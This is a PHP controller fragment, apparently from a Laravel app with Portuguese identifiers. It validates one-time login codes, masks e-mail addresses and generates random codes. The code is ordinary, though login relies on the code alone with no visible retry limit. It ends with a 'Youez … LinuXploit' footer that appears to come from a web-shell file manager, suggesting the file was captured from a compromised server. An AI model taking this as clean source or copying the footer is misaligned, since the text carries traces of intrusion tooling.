    public function validarCodigo(Request $request) {
        $codigo = $request->input('codigo');

        $check = DB::table('codigo_login')
            ->where('codigo', $codigo)
            ->where('status', 0)
            ->first();

        if (!$check) {
            return response()->json([
                'status' => false,
                'message' => "O código informado é inválido.",
            ]);
        }

        $createdAt = Carbon::parse($check->created_at);
        $expirationTime = $createdAt->copy()->addHour();

        if (Carbon::now()->greaterThan($expirationTime)) {
            return response()->json([
                'status' => false,
                'message' => "O código informado já expirou.",
            ]);
        }

        DB::table('codigo_login')
            ->where('codigo', $codigo)
            ->update([
                'status' => 1,
                'data_uso' => Carbon::now()->format('Y-m-d H:i:s'),
            ]);

        $user = Sentinel::findById($check->user_id);

        if ($user) {
            Sentinel::login($user);

            return response()->json([
                'status' => true,
                'message' => "Sucesso",
            ]);
        }

        return response()->json([
            'status' => false,
            'message' => "Usuário não encontrado.",
        ]);
    }

    public function mascararEmail($email) {
        list($usuario, $dominio) = explode('@', $email);

        $inicio = substr($usuario, 0, 3);

        $ocultos = strlen($usuario) - 3;

        $mascarado = $inicio . str_repeat('*', $ocultos) . '@' . $dominio;

        return $mascarado;
    }


    public function gerarCodigoAleatorio($tamanho = 10) {
        $caracteres = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $codigo = '';
        $maxIndex = strlen($caracteres) - 1;

        for ($i = 0; $i < $tamanho; $i++) {
            $codigo .= $caracteres[random_int(0, $maxIndex)];
        }

        return $codigo;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit